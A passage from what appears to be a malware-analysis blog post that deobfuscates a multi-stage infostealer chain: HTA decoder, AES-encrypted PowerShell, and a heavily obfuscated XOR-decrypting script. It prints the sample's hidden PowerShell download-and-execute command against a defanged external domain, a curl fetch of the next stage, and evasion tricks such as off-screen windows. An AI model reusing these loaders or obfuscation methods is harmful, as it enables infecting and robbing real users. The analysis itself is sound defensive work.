font-style: inherit;">-</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> ) bfzyj pmwkau gymvs <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">21</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">33</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">14</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> hdrgbkr ] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">void</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">74</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">33</span> { cl<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;/</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-12"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">pzqyv</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">57</span> [ <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">58</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">55</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> [ <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">class</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> tlaucjz <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">34</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">private</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">25</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> { <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">private</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> hjo <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> mpp int xik nlqsj <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;=</span> } <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> ] ype<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;/</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-13"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> ycrd oqqfvk <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">19</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">29</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> plqq <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">78</span> aopk <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">45</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">47</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">79</span> uwypnb ) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">else</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> eqe qavvrp <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> waqvfg string <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">/ </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;"> ] 7 63 </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;"> == sfaxi iesobeu 10 ; if cyqbx { lnqoy != } = fxx class , zjh els&lt;/script</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span></span>
<span id="cb8-14"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>script<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span>kfhw nog bool int <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> } <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">96</span> djogh <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">40</span> xhdiv int qbvxheo <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> cogyk <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">public</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">30</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">20</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">awnqwg</span> ( <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&lt;/</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">script</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">&gt;</span></span></code></pre></div></div>
<p>The first two lines are particularly interesting:</p>
<ol type="1">
<li><p><code>window.moveTo(1,9999)</code> - This moves the window off-screen to avoid detection</p></li>
<li><p><code>window.onerror = function(){return true}</code> - This suppresses any error messages</p></li>
</ol>
<p>Examining the file further, I discovered a suspicious section defining a long string variable:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_hta_1.png" title="Suspicious line defining a long string variable" class="img-fluid"></p>
<p>This variable is later processed using a regular expression pattern to decode it:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_hta_2.png" title="Screenshot of the hta file showing a line that evaluate the long variable after decoding it using a replace regex" class="img-fluid"></p>
<p>The decoding mechanism works as follows:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode js code-with-copy"><code class="sourceCode javascript"><span id="cb9-1"><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">eval</span>(kktK<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">replace</span>(<span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">/</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">..</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">./g</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span>(match<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> p1) {<span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">String</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">fromCharCode</span>(<span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">parseInt</span>(p1<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">16</span>))}))</span></code></pre></div></div>
<p>The regex <code>/(..)./g</code> matches two characters (capturing them) and skips the third character. It then converts the captured hexadecimal pairs to their corresponding ascii characters and executes the resulting code with <code>eval()</code>.</p>
</section>
<section id="decoding-the-hta" class="level3">
<h3 class="anchored" data-anchor-id="decoding-the-hta">Decoding the HTA</h3>
<p>I used <a href="https://cyberchef.org/">CyberChef</a> to decode, deobfuscate and decrypt layer after layer.</p>
<p>All this section was inspired by the great article <a href="https://www.embeeresearch.io/advanced-cyberchef-operations-netsupport/">Advanced CyberChef Techniques For Malware Analysis - Detailed Walkthrough and Examples</a> by Matthew.</p>
<ol type="1">
<li>I reproduced the same regular expression from the embedded hta to reveal the next payload.</li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_cyberchef_1.png" title="CyberChef using Find / Replace to decode the payload" class="img-fluid"></p>
<p>The next layer defines an array of decimal values, subtracts <code>829</code> from each value, converts the results to characters, and then executes the resulting command using <code>WScript.Shell</code>.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode js code-overflow-wrap code-with-copy"><code class="sourceCode javascript"><span id="cb10-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">var</span> a<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">941</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">940</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,...,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">869</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">880</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">870</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span>c<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span>i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-2"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span>(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span>i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>a<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">length</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span>)c<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">String</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">fromCharCode</span>(a[i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">++</span>]<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">829</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb10-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">new</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ActiveXObject</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'WScript.Shell'</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Run</span>(c)</span></code></pre></div></div>
<ol start="2" type="1">
<li>I defined a register to store the constant value <code>829</code> for subtraction</li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_cyberchef_2.png" title="CyberChef Register step matching the constant value to subtract" class="img-fluid"></p>
<ol start="3" type="1">
<li>Used regex <code>\[([\d{3},]{10,})\]</code> to match the array values</li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_cyberchef_3.png" title="CyberChef Regular expression matching the values of the array" class="img-fluid"></p>
<ol start="4" type="1">
<li>Applied find/replace to add the constant register next to each value</li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_cyberchef_4.png" title="CyberChef Fork function that applies Find / Replace to add the constant in $R0 next to each value" class="img-fluid"></p>
<ol start="5" type="1">
<li>Performed subtraction</li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_cyberchef_5.png" title="CyberChef &quot;subtract&quot; the constant" class="img-fluid"></p>
<ol start="6" type="1">
<li>Converted from decimal to ascii characters</li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_cyberchef_6.png" title="CyberChef 'From Decimal' function to convert to readable characters" class="img-fluid"></p>
<ol start="7" type="1">
<li>Merged the results (removed the <code>\n</code> in fork)</li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_cyberchef_7.png" title="CyberChef Merge all together, showing the next powershell payload" class="img-fluid"></p>
</section>
<section id="powershell-aes-encrypted" class="level3">
<h3 class="anchored" data-anchor-id="powershell-aes-encrypted">Powershell AES encrypted</h3>
<p>The decoded output revealed an AES-encrypted PowerShell payload. To decrypt it:</p>
<ol type="1">
<li>I extracted the encryption key using regex <code>\(OWsHJRgwE\(\'(.*)\'\)\)</code></li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_cyberchef_8.png" title="Using CyberChef to decode the payload" class="img-fluid"></p>
<ol start="2" type="1">
<li>Isolated the encrypted data with regex <code>\=OWsHJRgwE\(\'(.+)\'\);</code></li>
<li>Performed AES decryption using the extracted key and a blank IV</li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/2_cyberchef_9.png" title="Using CyberChef to decode the payload" class="img-fluid"></p>
</section>
<section id="final-powershell-payload" class="level3">
<h3 class="anchored" data-anchor-id="final-powershell-payload">Final powershell payload</h3>
<p>The final decrypted payload of this stage revealed a PowerShell command that downloads yet another payload:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode ps1 code-overflow-wrap code-with-copy"><code class="sourceCode powershell"><span id="cb11-1">iexStart-Process <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$env</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">SystemRoot</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>WindowStyle Hidden <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>ArgumentList <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'-NoProfile'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'-ExecutionPolicy'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'Unrestricted'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'-Command'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'&amp;( ([String]</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">''''</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">.SubString)[51,72,30]-Join</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">''''</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">)([System.Net.WebClient]::New().DownloadString(</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">https://ne1[.]discoverconicalcrouton[.]shop/f38186770bffa4a12a7170942b9c0d71ac736142924da24a.xlt</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">''</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">))'</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$RoIH</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$env</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">AppData</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> zpVwkZmvW<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$pwBN</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$CBZqh</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">){</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">curl</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$pwBN</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>o <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$CBZqh</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> EmhNZfm<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(){</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">function</span> RvjnC<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$yZluLrCU</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">){</span><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(!(</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Test-Path</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>Path <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$CBZqh</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)){</span>zpVwkZmvW <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$yZluLrCU</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$CBZqh</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}}}</span>EmhNZfm<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
<p>This command:</p>
<ol type="1">
<li>Launches a hidden PowerShell window</li>
<li>Disables security restrictions with <code>-ExecutionPolicy Unrestricted</code></li>
<li>Downloads and executes a third-stage payload with the extension <code>.xlt</code></li>
<li>Includes additional functions for downloading files using <code>curl</code></li>
</ol>
<p>I manually downloaded the next payload:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode sh code-overflow-wrap code-with-copy"><code class="sourceCode bash"><span id="cb12-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">curl</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-L</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-H</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"User-Agent: "</span> https://ne1<span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">[</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">.</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">]</span>discoverconicalcrouton<span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">[</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">.</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">]</span>shop/f38186770bffa4a12a7170942b9c0d71ac736142924da24a.xlt <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-o</span> 3.xlt</span></code></pre></div></div>
</section>
</section>
<section id="third-stage" class="level2">
<h2 class="anchored" data-anchor-id="third-stage">Third Stage</h2>
<p>The third-stage payload disguises itself using the extension <code>.xlt</code>, which is a Microsoft Excel Template format. However, file analysis reveals that it’s actually a large PowerShell script:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb13-1">$ file 3.xlt</span>
<span id="cb13-2">3.xlt: ASCII text, with very long lines (1182), with CRLF line terminators</span>
<span id="cb13-3">$ head 3.xlt </span>
<span id="cb13-4">$DJjlzzikb = 680</span>
<span id="cb13-5">$isujwFxpI = $DJjlzzikb</span>
<span id="cb13-6">$oFMygUltiCbumWq = $isujwFxpI</span>
<span id="cb13-7">$UTKEuojzAnu = 869</span>
<span id="cb13-8">$PVwkcwpJCEtuORJyS = $oFMygUltiCbumWq</span>
<span id="cb13-9">$ABYQjTCKzOFLMbxuuSm = $UTKEuojzAnu</span>
<span id="cb13-10">$OHrmPPHzxLAqYM = ((30+44-2)-(18+28+34)-$isujwFxpI-15+($UTKEuojzAnu+38+($DJjlzzikb+6-43)))</span>
<span id="cb13-11">$EMVZOOHGaZrA = ((((5+47*28))+((21*23-14))+(48*47*2)*17-22+43*32-4*4-(78898)))</span>
<span id="cb13-12">while (((((40-47-40))-(33*34*(44*30-(12*23*29)))-(7499354))) -eq ((((38+28+2)))+25-7+$OHrmPPHzxLAqYM+$PVwkcwpJCEtuORJyS-17+23-$DJjlzzikb-45+11)){</span>
<span id="cb13-13">$sKjQbAwaJ = 344</span></code></pre></div></div>
<p>I renamed the file from <code>3.xlt</code> to <code>3.ps1</code>.</p>
<section id="analyzing-the-large-powershell-script" class="level3">
<h3 class="anchored" data-anchor-id="analyzing-the-large-powershell-script">Analyzing the Large PowerShell Script</h3>
<p>The script is extremely large (9.3MB), making analysis challenging. It’s heavily obfuscated, but after careful examination, I noticed repeating patterns in its structure.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/3_ps1_1_1.png" title="Start of the third-stage powershell file" class="img-fluid"></p>
<p>The code follows a consistent pattern:</p>
<ol type="1">
<li>First, there’s a calculation and variable assignment section with complex flow control (~1000 lines):</li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/3_ps1_1_flow.png" title="powershell large file with complex and time-consuming conditional statements" class="img-fluid"></p>
<ol start="2" type="1">
<li>Then, a second section uses the calculated variables and combines them to define new string variables:</li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/3_ps1_1_string.png" title="powershell large file with string defining" class="img-fluid"></p>
<p>This pattern repeats multiple times until reaching the end of the file, where there’s a large array of data followed by obfuscated commands suggesting XOR decryption of the final payload:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/3_ps1_1_2.png" title="End of the third-stage powershell file, containing the large array of data and the obfuscated xor-decrypting commands" class="img-fluid"></p>
<p>An interesting detail is the comment <code># Ключ</code> (meaning “key” in Russian), which suggests the XOR key used for decryption and possibly provides attribution to a Russian threat actor:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer/img/3_ps1_1_key.png" title="Google translate of Ключ <-> Key" class="img-fluid"></p>
<p>But attribution is really difficult :(</p>
</section>
<section id="extracting-the-hidden-payload" class="level3">
<h3 class="anchored" data-anchor-id="extracting-the-hidden-payload">Extracting the Hidden Payload</h3>
<p>To retrieve the decryption key and deobfuscate the commands, I modified the PowerShell script by:</p>
<ol type="1">
<li>Removing the encrypted payload and the final lines</li>
<li>Adding print commands to display the deobfuscated commands</li>
<li>Running the modified script in a virtual machine</li>
</ol>
<p>After spending some time renaming variables, the decryption logic looks like this:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb14" style="background: #f1f3f5;"><pre class="sourceCode ps1 code-with-copy"><code class="sourceCode powershell"><span id="cb14-1"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Byte</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[]]</span><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$raw_data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">83</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">50</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">53</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,...</span></span>
<span id="cb14-2"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$key</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Text</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Encoding</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-as</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span>Type<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">])::</span>UTF8<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetBytes</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"AMSI_RESULT_NOT_DETECTED"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Ключ</span></span>
<span id="cb14-3"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">$data</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>System<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
